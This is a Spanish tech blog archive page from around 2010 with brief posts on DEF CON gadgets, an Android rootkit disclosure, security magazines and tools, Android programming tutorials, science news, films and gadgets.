El día 1 de Agosto, después de un ciclo de inusual inactividad, toda la cara del Sol que da a la Tierra entró en una serie de eventos espectaculares.  Una de ellos es una tormenta solar del tipo C-3, un auténtico tsunami de ondas, llamaradas, etc. Las llamadas CME llegarán en breve a la Tierra, y uno de sus efectos más espectaculares serán las Auroras (si por casualidad capturas alguna de ellas, envíalas a Nancy).

Fantasmas del pasado

A través de este post de Slashdot, llego éste otro donde el autor o autora, ha hecho unos montajes con fotos de la segunda guerra mundial y de la misma toma, pero del presente.

Puedes ver el resto en el enlace original.

Los "juguetes" de la Defcon 18

 

 (Badge oficial Defcon 18)

 

(Ninja Party Badge)

En la Defcon es habitual entregar bolsas de bienvenida a los asistentes, y estas bolsas siempre llevan contenido muy interesantes. Ya hemos hablado de otras ediciones pero esta se lleva la palma. Por un lado está el badge (tarjeta de identificación) oficial, que esta vez lleva un display de 128x32 con un procesador Freescale (el mismo que la pasada edición) y se puede acceder (incluso flashear) usando un programa de terminal. En este enlace puedes ver todos los detalles de su desarrollo (en PDF).

Por otro lado, un grupo de hackers llamados “Ninjas” han creado un juego wifi diseñando un dispositivo basado en Arduino único para cada participante. Con él, puedes ir paseando por la Defcon e ir viendo nuevos jugadores y luchar contra ellos. Cada vez que luchas consigues experiencia y por lo tando, más fuerte.

Los hoteles más geeks del mundo del 2010

En este enlace podemos ver una curiosa lista de los hoteles más geeks de este año.

City Center Las Vegas: unas 4300 habitaciones. Usan una tecnología llamada Control 4, la cual te permite controlar las luces, televisor, temperatura, música, etc. Todo desde el mismo aparato.

Citizen Hotel: este destaca porque cada habitación dispone de un Mac Mini. Conectado un portal del propio hotel desde al cual puedes descargar películas (Netflix, Hulu, etc), música o hacer uso del servicio de habitaciones.

Nuevo trailer de Tron Legacy, esto pinta muy bien

Madre mía, te quedas con ganas de más.

Estoy deseando verla ya.

Rootkit para Android

 (foto: downloadsquad)

En la Defcon 18 (donde está nuestro amigo Chema Alonso) informaron y pusieron en circulación este rootkit que en principio, puede realizar ataques a los terminales con Android que permiten leer el correo, sms, control del terminal, etc. Las pruebas se realizaron en teléfonos marca HTC y modelos HTC Desire y Legend, aunque Nicholas Percoco comentó que se podría modificar para que funcione en cualquier modelo.

Más información en MuyComputer y en Geek.com

The Rodeo: Music Maelström

No es que quiera usurpar el artículo de música de los domingos a mi querido amigo cybercaronte... es que me he enamorado... ella se llama Dorothée y su música también es genial ;-) Es una mezcla entre blues y country-folk, algo melodramático pero muy contagioso, con muchas variaciones durante la canción y en algunos momentos juega entre lo infantil y lo tétrico.  Según ella sus influencias le vienen de Bob Dylan, Trini Lopez, Shangri-Las, Harry Belafonte, Joanna Newsom, Phil Ochs, Van Morrison, Michael Gira, Otis Redding... El grupo se llama The Rodeo y su nuevo disco Music Maelström.

Animaciones en HTML5

 

Estas escenas están creadas usando exclusivamente código HTML5 y ciclos de colores de 8-bit.

Para verlas, usa Google Chrome o el plugin para IE (Chrome Frame).

Visto en TheAwesomer.

Más Campus Party 2010 y final

 

Bueno, estas son algunas fotos más de nuestra visita a la Campus Party 2010 de este año. De las conferencias y talleres, nos quedamos con “Jugando a un Wargame” por parte del grupo “aw3a”.

 

Pero en general, todas las conferencias que hemos visto nos han gustado bastante. Pásate por Campus TV para ver algunos reportajes sobre conferencias y entrevistas.

Chapó este año a toda la organización, nos ha gustado la idea del puesto de movilidad y la nueva ubicación dentro del museo ha resultado mucho más cómoda.

Infografía: Como ganar en Piedra, Papel, Tijeras …

Si eres de los que cree que en este juego es muy sencillo y que todo depende de la suerte estas muy equivocado. Aquí os dejo unos sencillos pasos para ganar la próxima vez... aunque puede que tu adversario también haya leído esto :-) :

1) Rock it – Muchos tienen la tendencia de hacer “Piedra” en su primera lanzada. Si están jugando contra una de estas personas, lancen papel.

Video de Gears Of War hecho por aficionados

Espectacular.

Visto en VidaExtra.

Número de Agosto de Hakin9: Securing the cloud

Pues eso, la magnífica Hakin9 acaba de sacar su número de Agosto, enfocado a la seguridad en la nube.

Lo más interesante:

• Prey: A New Hope by Mervyn Heng
• An introduction to Reverse Engineering: Flash, .NET by Nilesh Kumar
• Web Malware - Part 1 by Rajdeep Chakraborty
• Cyber warfare with DNSbotnets by Francisco Alonso
• Search Engine Security and Privacy by Rebecca Wynn
• Securing the Cloud: Is it a Paradigm Shift in Information Security? by Gary Miliefsky
• Radio Frequency-enabled Identity Theft by Julian Evans
• Intelligence Monopolies by Matthew Jonkmann
• Special Report: Capturing the New Frontier: How To Unlock the Power of Cloud Computing by Mike Armistead

La podéis descargar desde aquí.

La fotografía con la exposición más larga de la …

Con un periodo de exposición de, nada más y nada menos, 34 MESES. En una sola imagen aparece la renovación estructural del Museo de Arte Moderno de Nueva York. Michael Wesely es el autor.

Visto en neatorama

Starcraft LEGO Stop-Motion

Vía geekologie.com

Pregunta a Steve Wozniak en la Campus Party: …

 

Y la respuesta fue:

YES

Toma ya, creo que es la única persona en el mundo que lo puede decir sin problemas ;)

Esta respuesta tan sencilla se puede interpretar como un mensaje a Apple por su política tan restrictiva tanto en su hardware como en su software.

Grande Wozniak.

Unlocker, para desbloquear ficheros en Windows

 

Windows

Esta aplicación te permite desbloquear un fichero que no puedes borrar, renombrar o mover porque algún programa o proceso lo tiene abierto. Otra característica interesantes es que puedes ver todos los ficheros bloqueados en una carpeta.

Ojo, lo que eliminas con esta aplicación no aparece en la Papelera de Reciclaje.

Es gratuito y puedes descargarlo desde aquí.

Sucker Punch, trailer

 

Está película tiene de todo, samuráis, dragones, steampunk, etc …

Tiene muy buen pinta, no te pierdas el trailer hasta el final.

Visto en GeeksAreSexy.

Desensambla, modifica y ensambla APKs

Bueno, first things first. La extensión .apk es usada por las aplicaciones Android. Es decir, si te vas al Market de Android e instalas una aplicación, básicamente lo que haces es bajarte un fichero.apk e instalarlo en el terminal.

Como muchos ya sabéis, normalmente las aplicaciones para Android están escritas en Java. Bueno, realmente un Java un poco modificado, ya que este sistema no dispone de una JVM de Oracle o OpenJDK, o algo así, sino que lo que tiene es una máquina virtual llamada Dalvik, que no es más que una máquina virtual de Java optimizada para correr en dispositivos de poca potencia o embebidos.

Fotos del primer día de la Campus Party 2010

Estas son algunas de las fotos que hemos hecho hoy en la Campus Party 2010. Hemos conocido a uno de los mayores genios de la informática de todos los tiempos, Mr Steve Wozniak y hemos asistido a algunas conferencias por la tarde muy interesantes (una del siempre genial Rubén Santamarta). Por motivos de trabajo sólo podemos ir por la tarde, pero de momento, las mejores conferencias y eventos están programados para después de comer.

Test de Velocidad Campus Party 2010

 

Cybercaronte y yo nos hicimos pipi y caca encima de nuevo. :-D

Campus Party 2010

 

CyberHades hará acto de presencia en la Campus Party siempre que el trabajo lo permita (iremos por la tarde/noche). Estaremos NOP y yo, sobre todo en las conferencias de Seguridad Informática y algunas de Robótica.

Allí nos veremos, a ver que tal resulta este año. No tenemos un buen recuerdo del año pasado, así que esperamos que la organización haya tomado nota de los errores anteriores.

Emulador de Game Boy escrito en Javascript

jsGB es un emulador de Game Boy escrito en Javascript y usando el nuevo estándar HTML5. El proyecto aún no está terminado ni mucho menos, está una fase muy beta. Por ejemplo ahora mismo no dispone de sonido, las ROMs estás cargadas desde el mismo código, es decir, no puedes cargar cualquier ROM, etc.

Y te preguntarás, que para escribo sobre este emulador. Pues prácticamente por los artículos que uno de los desarrolladores está escribiendo sobre como funciona el emulador en sí. Si alguna vez te ha interesado este tema de la emulación, esta es una gran oportunidad para aprender bastante. No sé con que frecuencia sacará los artículos, pero el primero ya lo puedes leer aquí (La CPU). Y como ya he comentado el emulador está en una fase muy temprana, así que será más fácil de seguir los posts.

El Amiga cumple los 25

Un 24 de Julio de 1985, hizo aparición el primer modelo de Amiga en el mercado, al Amiga 1000. Según The New York Times en este artículo de la época, lo calificaban como un Macintosh a color y más rápido que un PC IBM (...a color Macintosh that works faster than an I.B.M. PC AT).

El procesador de este modelo, era un MC68000, el mismo que usaba entonces el Macintosh de Apple, pero lo que hacía esta máquina una bestia en aquellos tiempos, era su chipset. Además del procesador, por supuesto, tenía otros 3 procesadores especializados las tareas de sonido y video. El llamado Paula, se encargaba de gestionar el sonido. Luego tenía otro encargado del vídeo, el cual hacía todas las operaciones gráficas, liberando al procesador principal de esta tarea, llamado Daphne. Éste luego evolucionó y se acabó llamando Denise. Y por último tenía el llamado Agnus, cuya tarea principal era el manejo de memoria, además de algunos operaciones gráficas.

Android Development 103, tercera parte …

 

Tercera parte del tutorial, esta vez, base de datos en Android.

Android Development 103, “Introducción a las bases de datos”

Instalando Subversion en CentOS

Aunque el título parezca un poco simple, el instalar Subversion en CentOS tiene su truquillo si lo que quieres es instalar la última versión de éste.

Uno de los puntos “fuertes” de CentOS y normalmente de cualquier servidor, es que son muy estables, pero esto tiene su punto negativo, y es que para ello nunca usan las últimas versiones del software, sino usan versiones antiguas, pero al mismo tiempo muy probadas y por consiguiente muy estables también. El usar una versión antigua de software no es nada malo, siempre y cuando esa versión todavía tenga soporte y está parcheada con los últimos parches.

Ya está disponible la FOCA 2.5 (y con nuevo look)

Ya tienes para descargar la nueva versión 2.5 de la FOCA aquí. Además, se nos va de marcha a la DEFCON y la Black Hat (toma ya).

Además, el genial Niko ha diseñado el nuevo look de FOCA que es espectacular. Puedes conseguir una camiseta por sólo 15$ en la web de tienda de Cálico aquí.

Más información en Informatica64 y el blog de Chema.

Jugando al Tetris, con física real

Juego, Not Tetris.

Aplicación para iPhone, "My Measures & Dimensions"

 

Vía Minid he visto un tweet donde hablan de esta aplicación para iPhone llamada My Measures & Dimensions, muy útil. Simplemente tomas una foto de una zona de la casa, mueble, etc... luego las medidas y con este programa puedes añadir las cotas y los comentarios que necesites sobre ella.

Un programa sencillo con una gran utilidad. Cuesta 0,79€ en la tienda de iTunes.

The Social Network, la película sobre la creación …

Se estrena el 1 de Octubre en los Estados Unidos y cuenta como he puesto en el título del post, la vida del fundador y creador de Facebook, Mark Zuckerberg (tiene 26 años y una fortuna de 4.000 millones de dólares).

A ver si esta película anima a la industria del cine para hacer otras películas como Google, Apple, Microsoft, etc.

Simulación física

Lagoa Multiphysics 1.0 - Teaser from Thiago Costa on Vimeo.

Directo desde nuestra web favorita, Microsiervos, este video con las simulaciones físicas creadas con el programa Lagoa Multiphysics (programado por Thiago Costa).

Es realmente espectacular.

Rediseñando el proyecto de "Ascensor Espacial"

 

Desde hace décadas, el proyecto de crear un ascensor para llevar cargas y astronautas al espacio se ha estado estudiando, cada vez con nuevas revisiones y siempre aparecen los mismos problemas. El principal es la fabricación de materiales lo suficentemente fuertes y a la vez  ligeros para construirlo. Con los actuales, sería imposible ya que el peso de la misma estructura sería demasiado grande y caería por su propio peso.

Pero fijáos lo curioso de esta nueva idea, y a la vez “simple”. Esta vez se cambia el punto de vista, en vez de hacerlo desde la Tierra al espacio, se opta por construirlo en la Luna. La ventaja, debido a la baja gravedad de la Luna (1/6 de la Tierra)  sería posible  usando materiales que ya existen, como por ejemplo el Zylon.  De esta forma sólo habría que enviar la carga al espacio a una estación intermedia en órbita baja con la Tierra usando los cohetes Delta o Atlas (algo que ya es bastante habitual y “sencillo” hoy día). Y desde esta estación espacial se enviarían hacia la Luna o el espacio (mira el gráfico publicado en este post, haz click para ampliarlo).

Los mandos de juegos más raros del mundo

Impresionante las fotos de dichos mandos. Algunos son realmente impresionantes.

En el enlace original podéis verlos todos, además de su nombre y una pequeña descripción.

Android Development 101 Segunda Parte, “Elementos …

 

Segunda parte del  tutorial sobre programación Android (primera parte aquí) de HackADay.. Esta vez, se explica cómo crear un GUI sencillo.

Ojo a los comentarios, son igual de instructivos que el mismo artículo.

Android Development 101 Segunda Parte: Elementos gráficos.

Limbo, disponible en Xbox Live Arcade

 

Esta joya de juego minimalista llamada Limbo, parecido al fantástico Braid, ya está disponible en Xbox Live Arcade para su descarga. Lo he conocido por mi gran amigo Jose María Villalobos que había hecho un comentario en Facebook sobre este juego (como siempre, aprendiendo cosas de él). Aunque es en blanco y negro, tiene ese encanto de película indie que realmente cautiva.

Administra tu VirtualBox remotamente

Siempre podemos tirar de algún software de administración remota para conectarnos a nuestra máquina y hacer lo que tengamos que hacer, pero si necesitamos administrar cierto software de forma remota y además lo podemos hacer a través de una interfaz web mejor que mejor. Eso implica que podríamos conectarnos desde cualquier parte del mundo y un navegador controlar nuestro servidor.

Leyendo lifehacker, conocí este proyecto llamado phpVirtualBox. Este proyecto precisamente nos permita controlar de forma remota a través de una interfaz web nuestro VirtualBox. Dicha interfaz requiere el uso de un navegador moderno.

reversinglabs summer challenge

La web de reversinglabs publicó un pequeño reto la semana pasado, que dado un archivo .zip había que encontrar la clave.

Era jueves por la noche cuando lo vi. Estaba cenando y me dije, vamos a intentarlo. El reto terminaba el domingo y la solución la harían pública el lunes.O sea, tenía un par de ratos el fin de semana.

Ya hacía mucho tiempo que no participaba en ningún reto de este tipo. Además regalaban una camiseta a aquellos que lo consiguieran. A por la camiseta.

Marido programador

Traducción:

Una mujer le pide a su marido, programador, vaya a comprar.

Esposa: Querido acércate a la tienda y compra algo de pan. Oh, si tienen huevos compra 6. Marido: Vale cariño.

20 minutos más tarde aparece el marido con 6 piezas de pan.

La esposa asombrada:

Esposa: Querido, ¿Por qué has comprado 6 piezas de pan? Marido: porque tenían huevos.

Enlace original.

Foro para programadores de juegos

El gran conocido foro de programación, stackoverflow, está estrenando nuevo foro dedicado a las consultas sobre juegos.

Comando G, vuelve ...

En una película de animación por ordenador, pero aún no sabemos la fecha de estreno.

Aunque por la pinta, más bien podría ser un videjuego.

Por cierto, aquí la conocemos como Comando G pero su nombre original es Gatchaman.

Más información en fantasymundo.

Sharp crea y saca al mercado un disco Blu-Ray BDXL …

 

Hace ya un año que las especificaciones del BDXL finalizaron, pero Sharp ha dedicido ahora que está lista para sacar al mercado el nuevo disco blu-ray de triple capa VR-100BR1 con una capacidad de 100GB (por unos 57$). 

Visto en UberGizmo.

Lo que te interesa saber sobre el USB 3.0

La tecnología USB como todos ya conocéis es la tecnología dominante en la conexión de dispositivos a nuestro ordenador.

La especificación USB hizo su aparición en el mercado en 1996 con su versión 1.0. En 2001, hizo su aparición la versión 2.0 con un notable aumento de velocidad entre otras cosas, siendo la velocidad máxima de 480Mbits/s. Y este año, ya por fin podemos comprar sistemas y dispositivos USB 3.0.

Domingo por la mañana, F**ck buttons "Olympians"

Brillante.

F**ck buttons

Modifica el registro de Windows desde Ubuntu

Quizás el uso más extendido de las utilidades para modificar el registro de Windows desde un sistema Linux, sea para cambiar la contraseña de algún usuario, normalmente la del administrador. Para esta tarea varias distribuciones en formato LiveCD o incluso en discos de 3,5", pero no conocía está utilidad llamada chntpw, que no sólo nos permite cambiar la contraseña de un usuario, sino que nos permite modificar cualquier clave del registro. La instalación como siempre:

sudo aptitude install chntpw

Aquí copio algunos ejemplos del foro de Ubuntu:

Editar el registro:

Hologramas táctiles

Visto en Make.

Cómo crear tu propia distribución Ubuntu

 

Con Reconstructor podrás seleccionar las aplicaciones y paquetes que quieras para tu distribución Ubuntu y algunos otros ajustes para personalizarlo.

En LifeHacker te explican paso a paso cómo crearla.

La evolución del joystick

Vía puntogeek

¿Manejas las nuevas tecnologías?

Supongo que esta es la típica entrevista que tiene que pasar uno cuando se presentas a un puesto de informático, ¿no?

LOL

Android Development 101 Primera Parte, "Hello …

 

Desde HackADay, nos presentan esta primera parte de una serie de tutoriales muy directos para aprender a programar aplicaciones para Android.

En esta primera entrega, preparación del entorno de trabajo y creación de un simple “Hello World”.

Estaremos atentos a próximas entregas.

Récord del mundo haciendo el cubo de rubik

Un chaval Australiano de 14 años, ha batido el récord del mundo haciendo el cubo de rubik, con una media de 8,52 segundos después de hacer cubos distintos. Aquí os dejo el vídeo.

El viento limpia los paneles de Opportunity

 

De nuevo, estas ráfagas de viento marciano han ayudado a dejar limpios los paneles solares de  Opportunity. Esto ayudará a que pueda seguir su camino. Ahora mismo está al 40% de camino recorrido entre el cráter Victoria y el Endeavour.

¿Y qué pasa con nuestra querida Spirit?

Estudiando los rayos de sol que recibe Spirit en la ubicación actual, es posible que tengamos noticias de ella incluso esta semana. Aunque lo más probable es que no sepamos nada hasta mediados de Noviembre. Despertarse del profundo sueño que se encuentra no es un proceso rápido, requiere tiempo.

BP: fotografías para no olvidar, ni perdonar

En lo que muchos consideran ya como el mayor desastre ecológico de la historia. Delfines y ballenas intentando escapar. Sin comentarios.

Guía esencial de fotografía digital

Leo en makeuseof.com una entrada dónde publican una guía esencial sobre fotografía digital. Esta guía está escrita por Bakari Chavanu de Mac Photography Tips.

El contenido de la misma va desde consejos a la hora de comprar una cámara, accesorios, etc. Hasta consejos y ejercicios para tomar buenas imágenes. El documento te lo puedes bajar desde aquí (PDF) o leerlo en línea aquí.

Penetration test tools

[caption id="" align=“aligncenter” width=“386” caption=""][/caption]

Lo que tiene un poco de especial esta lista de herramientas para hacer auditorias de seguridad, es que todas ellas están escritas en Python. Un gran recurso para tener a mano.

Nota: No tienes porque saber programar en Python para hacer uso de las mismas.

L.I.F.E.: la solución a los problemas energéticos …

El proyecto L.I.F.E. [Laser Inertial Fusion Energy] se esta gestando en laboratorio nacional Lawrence Livermore y, tal y como lo cuentan, parece ser el santo grial del abastecimiento energético:

1.- No emite agentes contaminantes.

2.- Abastecería gran parte de las necesidades energéticas del planeta.

3.- Puede llegar a conseguir energía extra de los residuos nucleares. o_O

El video es muy específico: la idea es lanzar 192 rayos laser hacia una bola de hidrógeno ultracongelada para crear un minisol (parece que el doctor Octopus no iba mal encaminado :-) )

App Inventor para Android

 

App Inventor es una nueva herramienta de Google que facilita a programadores y no-programadores crear aplicaciones para Android. No requiere saber nada de código para programarlas pero siempre tendrás la opción de verlo para modificarlo a un nivel más profesional.

Visita el sitio oficial aquí para saber más sobre la aplicación. De momento, aún no puedes descargarlo pero podrás hacerlo en breve si rellenas este formulario.

EVA, película española de Ciencia Ficción

Visto y más información en ZonaFandom.

Teclados y ratones serigrafiados con Keyscaper

Tu teclado gris y aburrido tiene un serio competidor: los Keyscaper. Teclados y ratones con tus heroes favoritos: los Simpsons, Star Trek, Marvel (Spiderman, Lobezno, Ironman, Capitan América y Thor). También tienen para fuerzas armadas o universidades americanas.

Precios: Spiderman USB ($ 54,99)          Star Trek XI Wireless ($ 64,99)

Página oficial Keyscaper

Vía Techi

LA ROJA, en la estratosfera

PORQUE ES DONDE MERECE ESTAR:  ENTRE LAS ESTRELLAS

Vía microsiervos

La extraña periodicidad de las extinciones …

 

Tranquilos, la última fue hace 11 millones de años, por lo que en teoría, aún nos queda (siempre y cuando no nos extingamos nosotros mismos) algo de tiempo. Todo esto lo sabemos gracias al estudio del registro fósil donde aparecen en 500 millones de años, estos eventos con dicha regularidad.

En Ciencia Kanija analizan la posible causa, y sorprendentemente una de ellas es la supuesta estrella hermana del Sol, Némesis. Esta supuesta estrella pasa por la Nube de Oort enviando una lluvia de cometas y meteoritos hacia la Tierra, lo que provoca las extinciones.

Las dos presentaciones de Alejandro Ramos …

 La primera fue la de Pentest, en el III Curso de Verano de Seguridad Informática con la UEM en Valencia. A este pudimos asistir en directo y realmente mereció la pena. En una hora de charla aprendimos a analizar una página web y encuentrar posibles vulnerabilidades, desde ver las máquinas asociadas al domino, escaneo de puertos y hasta posibles ataques de inyección SQL. Ahora Alejandro ha publicado en su blog Security By Default esta presentación:

Lunes por la mañana, una canción para celebrar un …

Hemos escuchado esta canción durante todo el Mundial en un anuncio de una marca conocida. Pues es perfecta para celebrar y dedicarla a los Campeones de la Copa del Mundo 2010: ESPAÑA

Isla de Encanta, Pixies:

30 wallpapers de misterio y fantasía

El resto de fondos en creativefan.com

Si los juegos tuvieran un modo super-fácil

Visto en Gamerblips.

OVNI provoca el cierre de un aeropuerto en China …

Según el controlador aéreo y la versión oficial del aeropuerto: el motivo de desviar el tráfico circundante a sus aeropuertos alternativos  fue provocado por la aparición de un objeto volador no identificado en la zona de aproximación. Esto ocurrió en la provincia de Zhejiang (Hangzhou) el miércoles pasado sobre las 21 horas. Algunos funcionarios chinos se han apresurado a desmentirlo diciendo que era un misil balístico intercontinental americano!!?? (y como se explica las 5 luces del interior? :-))

Domingo de final, hoy será "Un buen día" (Los …

Cambia “Mendieta” por Torres, Villa, Puyol, etc …

¡¡Vamos España!!

Plastilina magnética

 

Espectacular, no os perdáis cómo se traga cualquier cosa metálica que se ponga en su camino al más puro estilo “The Blob”.

Es un auténtico monstruo que puedes comprar por 13,50$ aquí.

Visto en NerdApproved.

¿Son ciertos estos rumores de Windows 8?

 

Anda circulando por Internet una serie de diapositivas de una posible filtración de una presentación interna de Microsoft donde se pueden ver algunos detalles de las nuevas características que se aplicarían al sucesor de Windows 7, Windows 8.

Personalmente creo que son un fake como un castillo, pero bueno, ahí están.

En una de ellas aparece un texto donde Microsoft habla sobre Apple  y estudia cómo funciona. Otra de ellas habla sobre un prototipo de PC para Windows 8, al estilo Mac.

REMnux

De forma muy resumida, REMnux es una distribución Linux basada en Ubuntu y especialmente diseñada para el análisis de malware a través de ingeniería inversa.

El autor de dicha distribución es Lenny Zeltser, experto en el análisis de software y profesor en SANS.

De acuerdo con la web oficial, dicha distribución es descargable en forma de imagen VMWare. Se supone que también deberías de poder la imagen en VisrtualBox.

A continuación copio y pego las utilidades que vienen en el sistema específicas para el análisis de malware:

Perro Sordo

 

Increible, si no conoces esta serie de “Sabías lo qué …”, búscala porque es espectacular … por cierto, creada por Niko.

La caricatura de Alarico, por Niko

Conocimos al genial Niko creador  de Cálico Electrónico en una charla en el III Curso de Verano de Seguridad Informática con la UEM en Valencia. Lamentablemente no pudimos ir a todas las charlas por el trabajo, pero por las tardes fuimos a algunas, y por supuesto no nos perdimos la de Niko. Tuvo la amabilidad de hacernos esta caricatura de nuestro personaje favorito, Alarico.

Iconos 3D gratis y en alta calidad

Son completamente libres de uso, estan en formato PNG (con fondo alpha) y tienen un tamaño de 512, 256, 126 y 64 píxeles. Creados por La Glanz Studio.

Descargar

Visto en psd.tutplus.com

Proyecto Shellcode

El proyecto shellcode (Shellcode Project) es un proyecto que pretende convertirse en un repositorio no sólo de shellcodes, sino también de tutoriales, presentaciones y cualquier otro tipo de material relacionados con shellcodes.

El primer paso o idea de este proyecto era precisamente lo que acabo de comentar,  recopilar información y código. Y la segunda idea de este proyecto es la de crear un framwork con los shellcodes, de forma que podamos usarlos de una forma fácil. Ya existe un framework de este tipo y súper conocido: Metasploit.

Timeline nuclear (1945-1998)

Impresiona entre el minuto 5 y el 10.

Excepto por las de Hiroshima y Nagasaki, la mayoría del resto de las 2051 bombas se detonan en "suelo propio". De hecho a partir del minuto 4 parece que URSS y EEUU están en guerra pero no: SON SUS PROPIAS BOMBAS y ES SU PROPIO SUELO. Conclusión: es como pegarte un tiro para comprobar si realmente hace daño... este es el timeline de la estupidez humana. Por desgracia da hasta risa.

Spiderman asistido por un par de aspiradoras

Un chaval de 13 años, usando un par de aspiradoras de 1400w de potencia, se ha fabricado una máquina para subir por las paredes. Supongo que dependiendo del peso de uno, necesitarás más potencia. El problema es que como se vaya la luz a mitad de camino, el carajazo es de libro :-)

Aquí os dejo el vídeo.

Visto en slashdot.

11 personajes de Ciencia Ficción dibujados con un …

En el enlace original de SciFiWire puedes ver 11 de estos dibujos hechos con Telesketch donde aparecen Spok, ET, La Estrella de la Muerte, etc ...

Pero si quieres más, mejor echa un vistazo al enlace del autor aquí.

Simulador libre de Arduino para Windows

Windows

Ahora puedes preparar tus diseños y probarlos antes por software con este emulador 100% Arduino. En concreto, es la aplicación Virtual Breadboard que ahora incluye, además de las clásicas librerías con componentes habituales, una de Arduino.

Echa un vistazo a este video con varios ejemplos.

Puedes descargarlo desde aquí.

Visto en HackNMod.

PD: ojo a la aplicación AutoFAB, con la que puedes diseñar en 3D las placas (mira este video).

Las aplicaciones más conocidas olvidan las …

Y es una pena, la mayoría de las aplicaciones que más se utilizan en entornos Windows no sacan ventaja de las "nuevas" características de protección implementadas en Windows 7, Vista y XP (SP2).

Casi todos los ataques están basados en exploits que escriben datos o realizan operaciones en la memoria del sistema operativo. Una de estas características que ya implementó en Vista es la llamada Address Space Layout Randomization (ASLR), la cual mueve constantemente los punteros de memoria a diferentes posiciones. Otra es la llamada Data Execution Prevention (DEP), que ya se implementó en Windows XP Service Pack 2 en 2004, la cual permite que aunque un atacante pudiera acceder a una localización de memoria, el código almacenado en dicha posición no se podría ejecutar.

Nueva galería de Aries Mulung: Kendo

Fotógrafo: Aries Mulung

Galerías :

Galería KENDO

Galería CAMBODIA (otro impresionante conjunto realizado en Camboya)

Visto en criteriondg.info

El videojuego de The IT Crowd

Channel 4, el canal donde se emite esta serie, ha creado un pequeño videojuego hecho en flash para conmemorar el comienzo de la 4ª temporada. Con altas dosis de humor, el juego te permite ser un nuevo integrante del departamento de IT, donde debes evitar que virus y spam lleguen a los ordenadores. Esto lo puedes evitar disparándole a los archivos dañinos y dejando pasar los ficheros normales. Para hacer las cosa más interesantes, a medida que eliminas ficheros dañinos, ganas más presupuesto para mejorar las defensas. Esto se ve representado en ciertos espacios donde puedes instalar mejoras que eliminan automáticamente ficheros no deseados, los hacen más lentos, los bloquea o simplemente los consume.

Cuando los trailers de un videojuego de Star Wars …

 

Los que ya me conocéis en este blog, sabéis que no soy precisamente un fan de los episodios I, II y III de StarWars. Pues ahora los chicos de ZonaFandom (los cuales tienen totalmente la razón en su post) me lo reafirman aún más con este trailer es mejor que cualquiera de todas las secuencias de acción de los inombrables episodios.

Pertenece al juego de rol online del universo StarWars llamado “Star Wars: The Old Republic”.

Domingo ... The Darchives "I do believe I saw …

I Do Believe I Saw Stars - The Darchives

Ella siente la música... pero en silencio

Bailando en la biblioteca...

...aunque se parece más al efecto de pisar un cable "pelao" de 220 v, pobres vértebras.

Visto en blameitonthevoices.com

(10.10.10) ONE Day on Earth: el mayor evento …

¿Que ocurre en nuestro planeta durante 24 horas? Esta iniciativa parte de onedayonearth.org y CUALQUIER persona que tenga en sus manos una cámara (y se registre en la web :-) )podrá participar en una serie de documentales. El primero de ellos, de 120 minutos, se presentará en los cines.

"En todo el planeta, documentalistas, estudiantes y ciudadanos inspirados registrarán la experiencia humana en un período de 24 horas. Al participar en este evento histórico, ayudará a captar la diversidad de la vida y la cultura en este planeta. Juntos crearemos un documento que es un regalo para el mundo.

Microsoft Instaload: coloca las pilas sin importar …

Pues sí, Microsoft ha patentado un aparente sencillo sistema llamada Instaload que te permite colocar las pilas de la forma que quieras (ya no hay que mirar el positivo ni el negativo). La empresa Duracell es una de las primeras que ha adoptado este sistema para sus productos.

Esta tecnlogía parece que funciona de una forma bastante sencilla, incluye dos contactos positivos y dos negativos en las dos caras del conector de las pilas y nada más, no requiere electrónica adicional.

Condones geek

Me pregunto que pensará la parienta si aparezco con uno de esos :-)

Visto aquí.

Desktop Earth

(click para ver la imágen más grande desde la web Codefromthe70s)

Windows

Espectacular fondo de pantalla dinámico para Windows. No importa en qué parte del mundo te encuentres, este fondo de pantalla de la Tierra se actualiza y te muestra tal y como se vería desde el espacio justo desde este momento. La imágenes están creadas con texturas de alta resolución (2560x1280) y hay una imágen para cada mes para mostrar los cambios climáticos.

Referencia de las llamadas al sistema de Linux

En este enlace podéis encontrar una completísima lista de todas las llamadas al sistema de Linux, concretamente de la versión 2.6.34.

Recurso imprescindible si programas bajo Linux.

Misterioso objeto en órbita de una estrella lejana …

A unos 500 años luz de distancia, en la constelación de Escorpión, los científicos han encontrado un objeto que realmente no debería de existir. Es ocho veces más grande que Júpiter y está orbitando una estrella a un distancia demasiado grande, unas 300 UA (una UA es la distancia entre la Tierra y el Sol, Neptuno se encuentra a 30 UA).

Este objeto debería de ser en efecto, un planeta, debido a su estructura pero la órbita es demasiado grande por lo que la Física nos dice que tiene que ser algo diferente. A esa distancia, no se podría haber formado si seguimos las teorías actuales de formación de planetas alrededor de estrellas, simplemente no habría material suficiente poder formarse.

Cómo crear un servidor web con Arduino

 

Con la gran variedad de kits ya montados que existen para Arduino, es relativamente fácil instalar este pequeño servidor web.

¿Qué necesitas?

Pues por un lado el módulo de datos que puedes conseguir en Adafruit (19,50$) (para la tarjeta SD) y por otro lado, también en Adafruit, el módulo para tarjeta ethernet (45$). En total ,por unos 50€ puedes instalar un servidor de páginas web del tamaño de un paquete de tabaco totalmente funcional.

Número de Julio de la Hakin9: Securing VoIP

• Securing VoIP - Weakness, Exploits and Proactive Defenses
• Birth of an Evil Twin - Taking Social Engineering to the Social Web
• Hacking the Bad Guys
• Hijacking SSL - SSLStrip on Windows
• Managing your Facebook Privacy in 2010
• GPS Tracking with mobile phone
• Disclosure Policies
• FIFA World Cup 2010 - Network Security Advisory

Os lo podéis descargar desde aquí.

Pero mira que son malos los hackers

Tenías que llamar al artificiero para arreglar el ordenador… pero que burros son algunos.

Visto en neatorama.com

Despertador DHARMA

Siéntete como Desmond por las mañanas con este despertador. Cuando suene la alarma tendrás poco tiempo para introducir la secuencia de números correctamente, si no …… nadie sabe lo que puede pasar en vuestra casa. :-D

No os perdais la descripcion del articulo ni el video.

Visto en ThinkGeek.

Fondos de pantalla vectoriales

Más 30 fondos en creativefan.com

Microsoft presenta en el E3 la nueva Xbox 360

Ya todos sabréis que Microsoft ha presentado su nueva Xbox 360 que todos llaman "slim" aunque no es oficial ese nombre.

Resumiendo, es más pequeña, tiene varios puertos USB, mejor CPU/GPU, mejoras en la ventilación, protección contra fallos de calentamiento, botones táctiles, disco duro extraible de 250GB, tecnología WiFi 802.11n … ¿no está mal verdad?

Precio aproximado, 250€.

Si quieres más información:

Ecetia: Hypertextual Labs: Xbox 360 “slim”

Windows Enabler, habilita las opciones …

Windows

